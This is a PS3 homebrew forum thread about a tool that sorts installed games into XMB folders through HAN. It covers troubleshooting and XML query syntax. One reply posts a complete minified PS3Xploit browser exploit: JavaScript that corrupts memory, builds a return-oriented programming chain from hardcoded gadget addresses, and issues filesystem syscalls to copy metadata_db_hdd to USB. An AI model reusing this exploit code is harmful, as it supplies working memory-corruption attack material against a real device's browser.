XMB Game Tree for HAN - place your games on console to catalogues

Sorry for the late reply! Yes, I have write rights to the folder.
Please try next - in file tools\create.cmd find line
rd /s /q %1​
and comment it with :: (it become ::rd /s /q %1)
also add line
pause​
at end of file.
and try make pkg, in worked folder must appear HANXMBA05 directory.
PM me what writed in build window, and resulted HANXMBA05 folder.
 
upload_2019-4-2_18-47-12.png
upload_2019-4-2_18-47-36.png

Please try next - in file tools\create.cmd find line
rd /s /q %1​
and comment it with :: (it become ::rd /s /q %1)
also add line
pause​
at end of file.
and try make pkg, in worked folder must appear HANXMBA05 directory.
PM me what writed in build window, and resulted HANXMBA05 folder.
 
@horovo_games i moved this thread under the "PS3 Tools" subforums, leaving a redirect in he subforum where you wrote it initially

Also, worths to be mentioned the forum has a section to upload resources, you could use it to publish your app, the way the main "discussion" thread will look is not much different than a normal forum thread, but uploading it as a resource have some additional features maybe you like
 
Evening all, Sorry to be a scrub but maybe you can help. I cant seem to get the Meta_db_hdd to copy to my USB. Ive tried 2 different USBs, in both USB slots, and still nothing. I sometimes get file copy failed, and sometimes cant initialize. And I didnt try once or twice but for hours. Ive tried closing and reopening the file copy and everything. Ive tried activating the account, rebuilding the db (a few times). Im kind of stuck, any tips?

Edit: Info HFW 4.84.2, ToolBox 0.7 fix, USB 2.0 Sandisk 16GB, USB 3.0 Sandisk 32GB, Superslim
 
Evening all, Sorry to be a scrub but maybe you can help. I cant seem to get the Meta_db_hdd to copy to my USB. Ive tried 2 different USBs, in both USB slots, and still nothing. I sometimes get file copy failed, and sometimes cant initialize. And I didnt try once or twice but for hours. Ive tried closing and reopening the file copy and everything. Ive tried activating the account, rebuilding the db (a few times). Im kind of stuck, any tips?

Edit: Info HFW 4.84.2, ToolBox 0.7 fix, USB 2.0 Sandisk 16GB, USB 3.0 Sandisk 32GB, Superslim
First at all, check that path and file name is correct - it is case sensitive - "Meta" non equal "meta" - right path is /dev_hdd0/mms/db/metadata_db_hdd

Secondly, the copier does not always work the first time - once my exploit was launched from the 8th time.
 
The file copier is largely obsolete now because we can install pkgs to any location on the HDD. Stop using it to copy files to the HDD, it should only be used to copy files FROM the hard drive. Use this tool to install files to the hard drive: https://www.psx-place.com/threads/c...at-installs-to-any-path-including-flash.23477

I'm well aware of the abysmal success rates, so I'm testing some other stuff right now.
 
The file copier is largely obsolete now because we can install pkgs to any location on the HDD. Stop using it to copy files to the HDD, it should only be used to copy files FROM the hard drive. Use this tool to install files to the hard drive: https://www.psx-place.com/threads/c...at-installs-to-any-path-including-flash.23477

I'm well aware of the abysmal success rates, so I'm testing some other stuff right now.
So, we need to copy the file with metadata from the console's disk in order to get the list of installed games and their titleids.
After it my tool create pkg file which installed back to console.
 
So, we need to copy the file with metadata from the console's disk in order to get the list of installed games and their titleids.
After it my tool create pkg file which installed back to console.
Ah sorry I didn't read the thread properly. If you want, you can dump the file more easily in one try using the script below, you can upload it to a web server or use it offline.
Code:
javascript:var source_file="/dev_hdd0/mms/db/metadata_db_hdd",destination_file="/dev_usb000/metadata_db_hdd";eval('var xtra_data,stack_frame,jump_2,jump_1,xtra_data_addr,stack_frame_addr,jump_2_addr,jump_1_addr,offset_array=[],t_out=0,search_max_threshold=70*0x100000,gtemp_addr=0x8D000000,total_loops=0,max_loops=20,frame_fails=0,sp_exit=2413354176,ffs=4294967295,dbyte41=16705,dbyte00=0,byte_size=1,hword_size=2,word_size=4,dword_size=8,mbytes=1048576,stat_size_offset=40,fs_flag_readonly=0x0,template_1_file_buf_addr=0x8B000000,sc_fs_write=0x323,fs_mode=0x1B6,fs_flag_create=0x241,sc_fs_close=0x324,sc_fs_read=0x322,sc_fs_open=0x321,stat_size_offset=0x28,sc_fs_stat=0x328,store_idx_arr1,store_idx_arr2,flash_partition=\47xxxxCELL_FS_IOS:BUILTIN_FLSH1\47,filesystem=\47CELL_FS_FAT\47,mount_path=\47/dev_blind\47,flash_partition_addr=0,fs_addr=0,mount_path_addr=0,source_file_addr=0,source_file_readlen_addr=0,source_filefd_addr=0,destination_file_addr=0,destination_filefd_addr=0,destination_file_writelen_addr=0,null_addr=0,stat_addr=0,toc_addr=7296344,toc_entry1_addr=7185360,toc_entry2_addr=7494456,toc_entry3_addr=7185352,toc_entry4_addr=7602176,toc_entry5_addr=7255752,toc_entry6_addr=0,gadget1_addr=620036,gadget2_addr=6332644,gadget3_addr=872540,gadget4_addr=2267192,gadget5_addr=1227548,gadget6_addr=6380764,gadget7_addr=131024,gadget8_addr=131072,gadget11_addr=5874864,gadget12_addr=820812,gadget_mod1_addr=6352856,gadget_mod2_addr=80756,gadget_mod3_addr=757248,gadget_mod4a_addr=890500,gadget_mod4b_addr=4376440,gadget_mod4c_addr=346864,gadget_mod7_addr=108204,gadget_mod8_addr=2862264,gadget_mod9_addr=68384,gadget_mod12_addr=6500860,gadget_mod15_addr=3788856;document.write(\47\74html\76\74title\76PS3Xploit - File Copy Template\74/title\76\74h1\76Copying "\47+source_file+\47" to "\47+destination_file+\47"\74/h1\76\74div id="exploit"\76\74/div\76\74div id="trigger"\76\74/div\76\74/html\76\47);function syscall_r3_p2p(a,b,c,d,e,f,g,h,i,j){if(j===null){j=gtemp_addr}return hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(gtemp_addr)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(gadget_mod1_addr)+fill_by_16bytes(0x50,dbyte41)+fill_by_4bytes(0xC,dbyte41)+hexw2bin(a)+hexw2bin(i)+hexw2bin(g)+hexw2bin(f)+hexw2bin(e)+hexw2bin(d)+hexw2bin(c)+fill_by_4bytes(0x4,dbyte41)+hexw2bin(h)+fill_by_16bytes(0x20,dbyte41)+hexdw2bin(b)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(gadget_mod4b_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(j)+hexdw2bin(sp_exit)+fill_by_8bytes(0x8,dbyte41)}function syscall_r3r5_p2p(a,b,c,d,e,f,g,h,i,j){if(j===null){j=gtemp_addr}return hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(gtemp_addr)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(gadget_mod1_addr)+fill_by_16bytes(0x50,dbyte41)+fill_by_4bytes(0xC,dbyte41)+hexw2bin(a)+hexw2bin(i)+hexw2bin(g)+hexw2bin(f)+hexw2bin(e)+fill_by_4bytes(0x4,dbyte41)+hexw2bin(c)+fill_by_4bytes(0x4,dbyte41)+hexw2bin(h)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(d-0x4)+hexdw2bin(gtemp_addr)+fill_by_8bytes(0x18,dbyte41)+hexdw2bin(gadget_mod4c_addr)+fill_by_16bytes(0xB0,dbyte41)+hexdw2bin(b)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(gadget_mod4b_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(j)+hexdw2bin(sp_exit)+fill_by_8bytes(0x8,dbyte41)}function copy_file_overwrite(a,b,c,d,e,f,g,h,i,j){return memcpy(h+stat_size_offset,i,dword_size)+syscall(sc_fs_stat,a,h,0,0,0,0,0,0)+memcpy(j,h+stat_size_offset,word_size)+syscall(sc_fs_open,a,fs_flag_readonly,c,0,0,0,0,0)+syscall_r3r5_p2p(sc_fs_read,c,e,h+stat_size_offset,f,0,0,0,0,0,0)+syscall_r3_p2p(sc_fs_close,c,0,0,0,0,0,0,0,0,0)+validate_word_from_ptr(f+0x4,b,0)+syscall(sc_fs_open,b,fs_flag_create,d,fs_mode,i,0,0,0)+syscall_r3r5_p2p(sc_fs_write,d,e,h+stat_size_offset,g,0,0,0,0,0,0)+syscall_r3_p2p(sc_fs_close,d,0,0,0,0,0,0,0,0,0)}function load_r3_word_from_ptr_32(a,b,c,d,e,f,g){return hexdw2bin(gadget_mod3_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(gtemp_addr)+hexdw2bin(a-0x8)+hexdw2bin(gtemp_addr)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(gadget_mod15_addr)+fill_by_16bytes(0x50,dbyte41)+fill_by_8bytes(0x8,dbyte41)+hexdw2bin(b)+hexdw2bin(c)+hexdw2bin(d)+hexdw2bin(e)+hexdw2bin(f)+hexdw2bin(g)+hexdw2bin(sp_exit)+fill_by_8bytes(0x8,dbyte41)}function validate_word_from_ptr(a,b,c,d,e,f){if(d===null){d=gtemp_addr}if(e===null){e=gtemp_addr}if(f===null){f=gtemp_addr}return load_r3_word_from_ptr_32(a,gtemp_addr,gtemp_addr,gtemp_addr,gtemp_addr,b,gtemp_addr)+hexdw2bin(gadget_mod12_addr)+fill_by_16bytes(0x70,dbyte00)+fill_by_8bytes(0x8,dbyte00)+hexdw2bin(c)+fill_by_16bytes(0x10,dbyte00)+hexdw2bin(d)+hexdw2bin(e)+hexdw2bin(f)+hexdw2bin(c)+fill_by_8bytes(0x8,dbyte41)}function init_run(a,b,c,d,e){if(a===true){frame_fails=0;search_base_off=0;search_size_ext=0}if(t_out!==0){clearTimeout(t_out);t_out=0}offset_array=[];store_idx_arr1=[];store_idx_arr2=[];xtra_data_addr=0;stack_frame_addr=0;jump_2_addr=0;jump_1_addr=0;search_max_threshold=70*0x100000;search_base=0x80200000;search_size=2*mbytes;search_base_off=0*mbytes;search_size_ext=2*mbytes;total_loops++}function hexh2bin(a){return String.fromCharCode(a)}function hexw2bin(a){return String.fromCharCode(a\76\7616)+String.fromCharCode(a)}function hexdw2bin(a){return hexw2bin(0)+hexw2bin(a)}String.prototype.toHex16=function(){return(\470000\47+this).substr(-4)};String.prototype.toAscii=function(a){var b=\47\47;var i=0;while(i\74this.length){if(a===true){b+=this.charCodeAt(i).toString(16).toHex16()}else{b+=this.charCodeAt(i).toString(16)}i+=1}return b};String.prototype.convert=function(a){if(this.length\741){return\47\47}var b=\47\47;var c=\47\47;var i=0;var d=[];if(a===true){b=this}else{b=this.toAscii()}while((b.length%4)!==0){b+=\4700\47}if(b.substr(b.length-3,2)!==\4700\47){b+=\470000\47}while(i\74b.length){c=b.substr(i,4);d.push(String.fromCharCode(parseInt(c,16)));i+=4}return d.join(\47\47)};String.prototype.convertedSize=function(a){if(this.length\741){return 0}var b=\47\47;if(a===true){b=this}else{b=this.toAscii()}while((b.length%4)!==0){b+=\4700\47}if(b.substr(b.length-3,2)!==\4700\47){b+=\470000\47}return b.length/2};String.prototype.replaceAt=function(a,b){return this.substr(0,a)+b+this.substr(a+b.length)};String.prototype.repeat=function(a){return new Array(a+1).join(this)};Number.prototype.noExponents=function(){var a=String(this).split(/[eE]/);if(a.length===1){return a[0]}var z=\47\47,sign=this\740?\47-\47:\47\47,str=a[0].replace(\47.\47,\47\47),mag=Number(a[1])+1;if(mag\740){z=sign+\470.\47;while(mag++){z+=\470\47}return z+str.replace(/^\-/,\47\47)}mag-=str.length;while(mag--){z+=\470\47}return str+z};function fromIEEE754(a,b,c){var d=0;var g=[];var i;var j;var h;for(i=a.length;i;i-=1){h=a[i-1];for(j=8;j;j-=1){g.push(h%2?1:0);h=h\76\761}}g.reverse();var k=g.join(\47\47);var l=(1\74\74(b-1))-1;var s=parseInt(k.substring(0,1),2)?-1:1;var e=parseInt(k.substring(1,1+b),2);var f=parseInt(k.substring(1+b),2);if(e===(1\74\74b)-1){d=f!==0?NaN:s*Infinity}else if(e\760){d=s*Math.pow(2,e-l)*(1+f/Math.pow(2,c))}else if(f!==0){d=s*Math.pow(2,-(l-1))*(f/Math.pow(2,c))}else{d=s*0}return d.noExponents()}function generateIEEE754(a,b){var c=new Array((a\76\7624)&0xFF,(a\76\7616)&0xFF,(a\76\768)&0xFF,(a)&0xFF,(b\76\7624)&0xFF,(b\76\7616)&0xFF,(b\76\768)&0xFF,(b)&0xFF);return fromIEEE754(c,11,52)}function generateExploit(a,b){var n=(a\74\7432)|((b\76\761)-1);return generateIEEE754(a,(n-a))}function readMemory(a,b){if(document.getElementById(\47exploit\47)){document.getElementById(\47exploit\47).style.src="local("+generateExploit(a,b)+")"}}function checkMemory(a,b,c){if(document.getElementById(\47exploit\47)){readMemory(a,b);return document.getElementById(\47exploit\47).style.src.substr(6,c)}}function trigger(a){if(document.getElementById(\47trigger\47)){document.getElementById("trigger").innerHTML=-parseFloat("NAN(ffffe"+a.toString(16)+")")}}function load_check(){if(total_loops\74max_loops){t_out=setTimeout(initROP,1000,false)}else{total_loops=0;t_out=0}}function findJsVariableOffset(a,b,c,d){readMemory(c,d);var e=document.getElementById(\47exploit\47).style.src.substr(6,d);var i=0;var t;var k;var f;var g;while(i\74(e.length*2)){if(e.charCodeAt(i/2)===b.charCodeAt(0)){f=0;for(k=0;k\74(b.length*2);k+=0x2){if(e.charCodeAt((i+k)/2)!==b.charCodeAt(k/2)){break}f+=1}if(f===b.length){g=c+i+4;for(t=0;t\74offset_array.length;t+=1){if(offset_array[t]===g){return-1}}offset_array.push(g);return g}}i+=0x10}var h=c+d;return 0}function memcpy(a,b,c){return callsub(gadget8_addr,a,b,c,0,0,0,0,0,0,0x70)}function stack_frame_hookup(){return unescape("\u4141\u2A2F")+hexw2bin(gadget1_addr)+hexw2bin(toc_addr)+fill_by_16bytes(0x20,dbyte41)+hexdw2bin(toc_addr)+fill_by_16bytes(0x70,dbyte41)}function stack_frame_exit(){return hexdw2bin(gadget_mod8_addr)+unescape("\u2F2A")}function syscall(a,b,c,d,e,f,g,h,i,j){if(j===null){j=gtemp_addr}return hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(gtemp_addr)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(gadget_mod1_addr)+fill_by_16bytes(0x50,dbyte41)+fill_by_4bytes(0xC,dbyte41)+hexw2bin(a)+hexw2bin(i)+hexw2bin(g)+hexw2bin(f)+hexw2bin(e)+hexw2bin(d)+hexw2bin(c)+fill_by_4bytes(0x4,dbyte41)+hexw2bin(h)+fill_by_16bytes(0x20,dbyte41)+hexdw2bin(b)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(gtemp_addr)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(gadget_mod4a_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(j)+hexdw2bin(sp_exit)+fill_by_8bytes(0x8,dbyte41)}function callsub(a,b,c,d,e,f,g,h,i,j,k,l,m){var n=0x20;if(m===null){m=gtemp_addr}if(l===null){l=gtemp_addr}return hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(gtemp_addr)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(gadget_mod1_addr)+fill_by_16bytes(0x50,dbyte41)+fill_by_4bytes(0xC,dbyte41)+hexw2bin(j)+hexw2bin(i)+hexw2bin(g)+hexw2bin(f)+hexw2bin(e)+hexw2bin(d)+hexw2bin(c)+fill_by_4bytes(0x4,dbyte41)+hexw2bin(h)+fill_by_16bytes(0x20,dbyte41)+hexdw2bin(b)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(l)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(a)+fill_by_16bytes(k-n,dbyte00)+hexdw2bin(m)+hexdw2bin(sp_exit)+fill_by_8bytes(0x8,dbyte41)}function fill_by_4bytes(a,b){var c=\47\47;var d=0;var e=hexh2bin(b);while(d\74a/4){c+=e.repeat(2);d++}return c}function fill_by_8bytes(a,b){var c=\47\47;var d=0;var e=hexh2bin(b);while(d\74a/8){c+=e.repeat(4);d++}return c}function fill_by_16bytes(a,b){var c=\47\47;var d=0;var e=hexh2bin(b);while(d\74a/16){c+=e.repeat(8);d++}return c}function initROP(a){try{init_run(a,0x80200000,5/2*mbytes,0*mbytes,0*mbytes);var b=0x8B200000;xtra_data=flash_partition.convert()+filesystem.convert()+mount_path.convert()+source_file.convert()+fill_by_4bytes(0xC,dbyte00)+destination_file.convert()+fill_by_4bytes(0xC,dbyte00)+fill_by_16bytes(0x70,dbyte00)+unescape("\uFD7E");while(xtra_data_addr===0){if(search_max_threshold\74search_size){load_check();return}xtra_data=xtra_data.replaceAt(0,hexh2bin(0x7EFD));xtra_data_addr=findJsVariableOffset("xtra_data",xtra_data,search_base,search_size);search_max_threshold-=search_size}flash_partition_addr=xtra_data_addr;fs_addr=flash_partition_addr+flash_partition.convertedSize()-0x4;mount_path_addr=fs_addr+filesystem.convertedSize();source_file_addr=mount_path_addr+mount_path.convertedSize();source_filefd_addr=source_file_addr+source_file.convertedSize();source_file_readlen_addr=source_filefd_addr+word_size;destination_file_addr=source_file_readlen_addr+dword_size;destination_filefd_addr=destination_file_addr+destination_file.convertedSize();destination_file_writelen_addr=destination_filefd_addr+word_size;store_idx_arr1[0]=(destination_file_writelen_addr-flash_partition_addr+0x8)/2;null_addr=destination_file_writelen_addr+dword_size;store_idx_arr2[0]=(null_addr-flash_partition_addr+0xC)/2;stat_addr=null_addr+dword_size*0x3;stack_frame=stack_frame_hookup()+copy_file_overwrite(source_file_addr,destination_file_addr,source_filefd_addr,destination_filefd_addr,b,source_file_readlen_addr,destination_file_writelen_addr,stat_addr,null_addr,null_addr+0x8)+stack_frame_exit();while(stack_frame_addr===0){if(search_max_threshold\74search_size+search_size_ext){frame_fails++;if((frame_fails%10)===0){search_base_off+=0;search_size_ext+=0}load_check();return}stack_frame=stack_frame.replaceAt(0,hexh2bin(0x2A2F));stack_frame_addr=findJsVariableOffset("stack_frame",stack_frame,search_base+search_base_off,search_size+search_size_ext);if(stack_frame_addr==-1)if(search_max_threshold\74search_size+search_size_ext){frame_fails++;load_check();return}search_max_threshold-=search_size+search_size_ext}jump_2=unescape("\u0102\u7EFB")+fill_by_16bytes(0x30,0x8282)+hexw2bin(stack_frame_addr)+unescape("\uFB7E");while(jump_2_addr===0){if(search_max_threshold\74search_size){load_check();return}jump_2=jump_2.replaceAt(0,hexh2bin(0x7EFB));jump_2_addr=findJsVariableOffset("jump_2",jump_2,search_base,search_size);if(jump_2_addr==-1)if(search_max_threshold\74search_size){load_check();return}search_max_threshold-=search_size}jump_1=unescape("\u4141\u7EFA")+hexw2bin(jump_2_addr)+unescape("\uFA7E");while(jump_1_addr===0){if(search_max_threshold\74search_size){load_check();return}jump_1=jump_1.replaceAt(0,hexh2bin(0x7EFA));jump_1_addr=findJsVariableOffset("jump_1",jump_1,search_base,search_size);if(jump_1_addr==-1)if(search_max_threshold\74search_size){load_check();return}search_max_threshold-=search_size}var c=checkMemory(stack_frame_addr-0x4,0x8000,stack_frame.length);var x=checkMemory(xtra_data_addr-0x4,0x1000,xtra_data.length);var d=checkMemory(jump_2_addr-0x4,0x1000,jump_2.length);var f=checkMemory(jump_1_addr-0x4,0x1000,jump_1.length);if((d===jump_2)&&(f===jump_1)&&(x===xtra_data)&&(c===stack_frame)){if(t_out!==0){clearTimeout(t_out)}triggerX()}else{load_check()}}catch(e){}}function triggerX(){setTimeout(trigger,1000,jump_1_addr);setTimeout(window.close,2000);t_out=0;total_loops=0}initROP(true);');
It's just a file copy template but I edited the paths for you. You don't have to use it but it's better than the file copier IMO.

By the way, how are you creating the pkgs to install them to that path? ForcedInstallTo? Just curious :)
 
Last edited:
By the way, how are you creating the pkgs to install them to that path? ForcedInstallTo? Just curious :)
Thanks for script, I will use it in next versions.
My package is not installed as new database, it installed XML in one of HAN addon slot - game/HANXMBA0X/USRDIR/han_xmb_addonX.xml
Game list in folders created by set query src to xcb function, for example
<Query class="type:x-xmb/folder-pixmap" attr="folder_8" key="folder_8" src=
"xcb://localhost/query?cond=Oe+Game:Game.titleId NPEB02203+Oe+Game:Game.titleId BLES01508+Oe+Game:Game.titleId BLES00635+Oe+Game:Game.titleId BLES01702+Ae+Game:Game.bootable 1&sort=-Game:Common.stat.timeLastUsed" />​
will show in folder games with titleid NPEB02203, BLES01508, BLES00635, BLES01702, ordered by time of last start desc.
File of database need only to create list of games.
 
Small suggestion: if declare the template variables before "var xtra_data,..." the script is easier to modify for different source/destination paths ;)
Yes you're right, I have the original script before minification so it looks fine for me but that will help noobs create their own dumpers/injectors. Good suggestion.
 
First at all, check that path and file name is correct - it is case sensitive - "Meta" non equal "meta" - right path is /dev_hdd0/mms/db/metadata_db_hdd

Secondly, the copier does not always work the first time - once my exploit was launched from the 8th time.

Sorry I have a bad habit of capitalizing when typing on on a keyboard. On my PS3 its all lowercase Source File path: [/dev_hdd0/] mms/db/meta_db_hdd and destination path: [/dev_usb000/] meta_db_hdd

Are you closing an reopening the page per attempt or just clicking Initialize on fails?

As for lmn7s script would I be able to toss that in a html page host it with Miniweb and load it up for faster/better chances. Im not the greatest coder but I can usually get around ok.
 
So, we need to copy the file with metadata from the console's disk in order to get the list of installed games and their titleids.
How are you finding the titleid's in the file metadata_db_hdd btw ?
Are you "navigating" the whole hierarchy "from top to bottom" or are you performing searchs using patterns ?

In other words... are you doing this ?:
root --> level1 ---> level2 ---> leveln ---> title id

Or are you finding the title id directly bypassing his "parents" ?
 
How are you finding the titleid's in the file metadata_db_hdd btw ?
Are you "navigating" the whole hierarchy "from top to bottom" or are you performing searchs using patterns ?

In other words... are you doing this ?:
root --> level1 ---> level2 ---> leveln ---> title id

Or are you finding the title id directly bypassing his "parents" ?
The metadata_db_hdd structure is not documented (or I just could not find it). I didn't do complete reversing engineering, I'm just looking by pattern for everything that looks like games.
 
Back
Top